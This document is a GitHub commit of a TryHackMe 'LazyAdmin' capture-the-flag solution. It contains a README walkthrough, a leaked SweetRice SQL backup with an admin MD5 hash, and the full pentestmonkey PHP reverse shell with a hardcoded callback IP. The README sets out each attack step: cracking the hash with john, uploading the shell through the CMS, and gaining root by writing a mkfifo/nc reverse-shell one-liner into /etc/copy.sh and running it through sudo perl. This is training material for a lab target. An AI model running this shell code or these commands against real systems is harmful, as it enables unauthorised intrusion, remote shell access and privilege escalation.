Skip to content

Commit 9c14038

Browse files
authored
Add files via upload
1 parent 923b10d commit 9c14038

File tree

4 files changed

+363
-0
lines changed

4 files changed

+363
-0
lines changed

LazyAdmin/README.md

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
# LazyAdmin
2+
3+
Have some fun! There might be multiple ways to get user access.
4+
5+
- What is the user flag?
6+
7+
- `nmap -sV -sC <TARGET_IP>`. There are two services exposed: 22/tcp (ssh) and 1583/tcp (simbaexpress)
8+
- `nmap --script=vuln <TARGET_IP>`
9+
- ```Nmap scan report for 10.10.58.33
10+
Host is up (0.081s latency).
11+
Not shown: 998 closed ports
12+
PORT STATE SERVICE
13+
22/tcp open ssh
14+
80/tcp open http
15+
|_http-csrf: Couldn't find any CSRF vulnerabilities.
16+
|_http-dombased-xss: Couldn't find any DOM based XSS.
17+
| http-enum:
18+
|_ /content/: Potentially interesting folder
19+
| http-slowloris-check:
20+
| VULNERABLE:
21+
| Slowloris DOS attack
22+
| State: LIKELY VULNERABLE
23+
| IDs: CVE:CVE-2007-6750
24+
| Slowloris tries to keep many connections to the target web server open and hold
25+
| them open as long as possible. It accomplishes this by opening connections to
26+
| the target web server and sending a partial request. By doing so, it starves
27+
| the http server's resources causing Denial Of Service.
28+
|
29+
| Disclosure date: 2009-09-17
30+
| References:
31+
| http://ha.ckers.org/slowloris/
32+
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
33+
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
34+
35+
```
36+
Seems good.
37+
- Visit <TARGET_IP>/content/ on browser.
38+
- `gobuster dir -u http://<TARGET_IP>/content/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
39+
- ```/images (Status: 301)
40+
/js (Status: 301)
41+
/inc (Status: 301)
42+
/as (Status: 301)
43+
/_themes (Status: 301)
44+
/attachment (Status: 301)
45+
```
46+
Interesting...
47+
- In `http://<TARGET_IP>/content/inc` there is `mysql\_backup` folder. Download the .sql file inside.
48+
- Open it with or something similar. You should read a line with a passwd header and the a hashed value.
49+
- Use `hash-identifier` to detect the type of the hash. MD5. ok.
50+
- `cat <HASH_HERE> > hash.txt`
51+
- `sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-MD5`
52+
- Go into the login page `http://<TARGET_IP>/content/as/`
53+
- Login with the username inside the .sql file and the cracked password.
54+
- Go into `Ads` section.
55+
- Load the `rshell.php` into the content manager (change the IP address with yours!)
56+
- `nc -lvnp 1234` on your machine.
57+
- Go into `http://<TARGET_IP>/content/inc/ads` and click on the file you've just uploaded.
58+
- You gained a shell. `cd /home/itguy && cat user.txt`
59+
- `THM{63**bce92******ad111**********07}`
60+
61+
- What is the root flag?
62+
63+
- `sudo -l`
64+
- Ok. We don't need sudo password for backup.pl and perl.
65+
- Analyze backup.pl, it runs /etc/copy.sh. Let'see.
66+
- It's a reverse shell. Change the specified ip address to yours.
67+
- `echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP_HERE> 5554 >/tmp/f" > /etc/copy.sh`
68+
- `nc -lnvp 5554` on your machine
69+
- `sudo /usr/bin/perl /home/itguy/backup.pl` on target machine.
70+
- `cat /root/root.txt`
71+
- `THM{663**41d01******7cb**********99f}`

LazyAdmin/hash.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
42f749ade7f9e195bf475f37a44cafcb
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
<?php return array (
2+
0 => 'DROP TABLE IF EXISTS `%--%_attachment`;',
3+
1 => 'CREATE TABLE `%--%_attachment` (
4+
`id` int(10) NOT NULL AUTO_INCREMENT,
5+
`post_id` int(10) NOT NULL,
6+
`file_name` varchar(255) NOT NULL,
7+
`date` int(10) NOT NULL,
8+
`downloads` int(10) NOT NULL,
9+
PRIMARY KEY (`id`)
10+
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
11+
2 => 'DROP TABLE IF EXISTS `%--%_category`;',
12+
3 => 'CREATE TABLE `%--%_category` (
13+
`id` int(4) NOT NULL AUTO_INCREMENT,
14+
`name` varchar(255) NOT NULL,
15+
`link` varchar(128) NOT NULL,
16+
`title` text NOT NULL,
17+
`description` varchar(255) NOT NULL,
18+
`keyword` varchar(255) NOT NULL,
19+
`sort_word` text NOT NULL,
20+
`parent_id` int(10) NOT NULL DEFAULT \'0\',
21+
`template` varchar(60) NOT NULL,
22+
PRIMARY KEY (`id`),
23+
UNIQUE KEY `link` (`link`)
24+
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
25+
4 => 'DROP TABLE IF EXISTS `%--%_comment`;',
26+
5 => 'CREATE TABLE `%--%_comment` (
27+
`id` int(10) NOT NULL AUTO_INCREMENT,
28+
`name` varchar(60) NOT NULL DEFAULT \'\',
29+
`email` varchar(255) NOT NULL DEFAULT \'\',
30+
`website` varchar(255) NOT NULL,
31+
`info` text NOT NULL,
32+
`post_id` int(10) NOT NULL DEFAULT \'0\',
33+
`post_name` varchar(255) NOT NULL,
34+
`post_cat` varchar(128) NOT NULL,
35+
`post_slug` varchar(128) NOT NULL,
36+
`date` int(10) NOT NULL DEFAULT \'0\',
37+
`ip` varchar(39) NOT NULL DEFAULT \'\',
38+
`reply_date` int(10) NOT NULL DEFAULT \'0\',
39+
PRIMARY KEY (`id`)
40+
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
41+
6 => 'DROP TABLE IF EXISTS `%--%_item_data`;',
42+
7 => 'CREATE TABLE `%--%_item_data` (
43+
`id` int(10) NOT NULL AUTO_INCREMENT,
44+
`item_id` int(10) NOT NULL,
45+
`item_type` varchar(255) NOT NULL,
46+
`data_type` varchar(20) NOT NULL,
47+
`name` varchar(255) NOT NULL,
48+
`value` text NOT NULL,
49+
PRIMARY KEY (`id`),
50+
KEY `item_id` (`item_id`),
51+
KEY `item_type` (`item_type`),
52+
KEY `name` (`name`)
53+
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
54+
8 => 'DROP TABLE IF EXISTS `%--%_item_plugin`;',
55+
9 => 'CREATE TABLE `%--%_item_plugin` (
56+
`id` int(10) NOT NULL AUTO_INCREMENT,
57+
`item_id` int(10) NOT NULL,
58+
`item_type` varchar(255) NOT NULL,
59+
`plugin` varchar(255) NOT NULL,
60+
PRIMARY KEY (`id`)
61+
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
62+
10 => 'DROP TABLE IF EXISTS `%--%_links`;',
63+
11 => 'CREATE TABLE `%--%_links` (
64+
`lid` int(10) NOT NULL AUTO_INCREMENT,
65+
`request` text NOT NULL,
66+
`url` text NOT NULL,
67+
`plugin` varchar(255) NOT NULL,
68+
PRIMARY KEY (`lid`)
69+
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
70+
12 => 'DROP TABLE IF EXISTS `%--%_options`;',
71+
13 => 'CREATE TABLE `%--%_options` (
72+
`id` int(10) NOT NULL AUTO_INCREMENT,
73+
`name` varchar(255) NOT NULL,
74+
`content` mediumtext NOT NULL,
75+
`date` int(10) NOT NULL,
76+
PRIMARY KEY (`id`),
77+
UNIQUE KEY `name` (`name`)
78+
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;',
79+
14 => 'INSERT INTO `%--%_options` VALUES(\'1\',\'global_setting\',\'a:17:{s:4:\\"name\\";s:25:\\"Lazy Admin&#039;s Website\\";s:6:\\"author\\";s:10:\\"Lazy Admin\\";s:5:\\"title\\";s:0:\\"\\";s:8:\\"keywords\\";s:8:\\"Keywords\\";s:11:\\"description\\";s:11:\\"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\"close\\";i:1;s:9:\\"close_tip\\";s:454:\\"<p>Welcome to SweetRice - Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \\"Site close\\" to open your website.</p><p>More help at <a href=\\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\\">Tip for Basic CMS SweetRice installed</a></p>\\";s:5:\\"cache\\";i:0;s:13:\\"cache_expired\\";i:0;s:10:\\"user_track\\";i:0;s:11:\\"url_rewrite\\";i:0;s:4:\\"logo\\";s:0:\\"\\";s:5:\\"theme\\";s:0:\\"\\";s:4:\\"lang\\";s:9:\\"en-us.php\\";s:11:\\"admin_email\\";N;}\',\'1575023409\');',
80+
15 => 'INSERT INTO `%--%_options` VALUES(\'2\',\'categories\',\'\',\'1575023409\');',
81+
16 => 'INSERT INTO `%--%_options` VALUES(\'3\',\'links\',\'\',\'1575023409\');',
82+
17 => 'DROP TABLE IF EXISTS `%--%_posts`;',
83+
18 => 'CREATE TABLE `%--%_posts` (
84+
`id` int(10) NOT NULL AUTO_INCREMENT,
85+
`name` varchar(255) NOT NULL,
86+
`title` varchar(255) NOT NULL,
87+
`body` longtext NOT NULL,
88+
`keyword` varchar(255) NOT NULL DEFAULT \'\',
89+
`tags` text NOT NULL,
90+
`description` varchar(255) NOT NULL DEFAULT \'\',
91+
`sys_name` varchar(128) NOT NULL,
92+
`date` int(10) NOT NULL DEFAULT \'0\',
93+
`category` int(10) NOT NULL DEFAULT \'0\',
94+
`in_blog` tinyint(1) NOT NULL,
95+
`views` int(10) NOT NULL,
96+
`allow_comment` tinyint(1) NOT NULL DEFAULT \'1\',
97+
`template` varchar(60) NOT NULL,
98+
PRIMARY KEY (`id`),
99+
UNIQUE KEY `sys_name` (`sys_name`),
100+
KEY `date` (`date`)
101+
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
102+
);?>

LazyAdmin/rshell.php

Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
<?php
2+
// php-reverse-shell - A Reverse Shell implementation in PHP
3+
// Copyright (C) 2007 [email protected]
4+
//
5+
// This tool may be used for legal purposes only. Users take full responsibility
6+
// for any actions performed using this tool. The author accepts no liability
7+
// for damage caused by this tool. If these terms are not acceptable to you, then
8+
// do not use this tool.
9+
//
10+
// In all other respects the GPL version 2 applies:
11+
//
12+
// This program is free software; you can redistribute it and/or modify
13+
// it under the terms of the GNU General Public License version 2 as
14+
// published by the Free Software Foundation.
15+
//
16+
// This program is distributed in the hope that it will be useful,
17+
// but WITHOUT ANY WARRANTY; without even the implied warranty of
18+
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19+
// GNU General Public License for more details.
20+
//
21+
// You should have received a copy of the GNU General Public License along
22+
// with this program; if not, write to the Free Software Foundation, Inc.,
23+
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
24+
//
25+
// This tool may be used for legal purposes only. Users take full responsibility
26+
// for any actions performed using this tool. If these terms are not acceptable to
27+
// you, then do not use this tool.
28+
//
29+
// You are encouraged to send comments, improvements or suggestions to
30+
31+
//
32+
// Description
33+
// -----------
34+
// This script will make an outbound TCP connection to a hardcoded IP and port.
35+
// The recipient will be given a shell running as the current user (apache normally).
36+
//
37+
// Limitations
38+
// -----------
39+
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
40+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
41+
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
42+
//
43+
// Usage
44+
// -----
45+
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
46+
47+
set_time_limit (0);
48+
$VERSION = "1.0";
49+
$ip = '10.9.126.198'; // CHANGE THIS
50+
$port = 1234;
51+
$chunk_size = 1400;
52+
$write_a = null;
53+
$error_a = null;
54+
$shell = 'uname -a; w; id; /bin/sh -i';
55+
$daemon = 0;
56+
$debug = 0;
57+
58+
//
59+
// Daemonise ourself if possible to avoid zombies later
60+
//
61+
62+
// pcntl_fork is hardly ever available, but will allow us to daemonise
63+
// our php process and avoid zombies. Worth a try...
64+
if (function_exists('pcntl_fork')) {
65+
// Fork and have the parent process exit
66+
$pid = pcntl_fork();
67+
68+
if ($pid == -1) {
69+
printit("ERROR: Can't fork");
70+
exit(1);
71+
}
72+
73+
if ($pid) {
74+
exit(0); // Parent exits
75+
}
76+
77+
// Make the current process a session leader
78+
// Will only succeed if we forked
79+
if (posix_setsid() == -1) {
80+
printit("Error: Can't setsid()");
81+
exit(1);
82+
}
83+
84+
$daemon = 1;
85+
} else {
86+
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
87+
}
88+
89+
// Change to a safe directory
90+
chdir("/");
91+
92+
// Remove any umask we inherited
93+
umask(0);
94+
95+
//
96+
// Do the reverse shell...
97+
//
98+
99+
// Open reverse connection
100+
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
101+
if (!$sock) {
102+
printit("$errstr ($errno)");
103+
exit(1);
104+
}
105+
106+
// Spawn shell process
107+
$descriptorspec = array(
108+
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
109+
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
110+
2 => array("pipe", "w") // stderr is a pipe that the child will write to
111+
);
112+
113+
$process = proc_open($shell, $descriptorspec, $pipes);
114+
115+
if (!is_resource($process)) {
116+
printit("ERROR: Can't spawn shell");
117+
exit(1);
118+
}
119+
120+
// Set everything to non-blocking
121+
// Reason: Occsionally reads will block, even though stream_select tells us they won't
122+
stream_set_blocking($pipes[0], 0);
123+
stream_set_blocking($pipes[1], 0);
124+
stream_set_blocking($pipes[2], 0);
125+
stream_set_blocking($sock, 0);
126+
127+
printit("Successfully opened reverse shell to $ip:$port");
128+
129+
while (1) {
130+
// Check for end of TCP connection
131+
if (feof($sock)) {
132+
printit("ERROR: Shell connection terminated");
133+
break;
134+
}
135+
136+
// Check for end of STDOUT
137+
if (feof($pipes[1])) {
138+
printit("ERROR: Shell process terminated");
139+
break;
140+
}
141+
142+
// Wait until a command is end down $sock, or some
143+
// command output is available on STDOUT or STDERR
144+
$read_a = array($sock, $pipes[1], $pipes[2]);
145+
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
146+
147+
// If we can read from the TCP socket, send
148+
// data to process's STDIN
149+
if (in_array($sock, $read_a)) {
150+
if ($debug) printit("SOCK READ");
151+
$input = fread($sock, $chunk_size);
152+
if ($debug) printit("SOCK: $input");
153+
fwrite($pipes[0], $input);
154+
}
155+
156+
// If we can read from the process's STDOUT
157+
// send data down tcp connection
158+
if (in_array($pipes[1], $read_a)) {
159+
if ($debug) printit("STDOUT READ");
160+
$input = fread($pipes[1], $chunk_size);
161+
if ($debug) printit("STDOUT: $input");
162+
fwrite($sock, $input);
163+
}
164+
165+
// If we can read from the process's STDERR
166+
// send data down tcp connection
167+
if (in_array($pipes[2], $read_a)) {
168+
if ($debug) printit("STDERR READ");
169+
$input = fread($pipes[2], $chunk_size);
170+
if ($debug) printit("STDERR: $input");
171+
fwrite($sock, $input);
172+
}
173+
}
174+
175+
fclose($sock);
176+
fclose($pipes[0]);
177+
fclose($pipes[1]);
178+
fclose($pipes[2]);
179+
proc_close($process);
180+
181+
// Like print, but does nothing if we've daemonised ourself
182+
// (I can't figure out how to redirect STDOUT like a proper daemon)
183+
function printit ($string) {
184+
if (!$daemon) {
185+
print "$string\n";
186+
}
187+
}
188+
189+
?>

0 commit comments

Comments
 (0)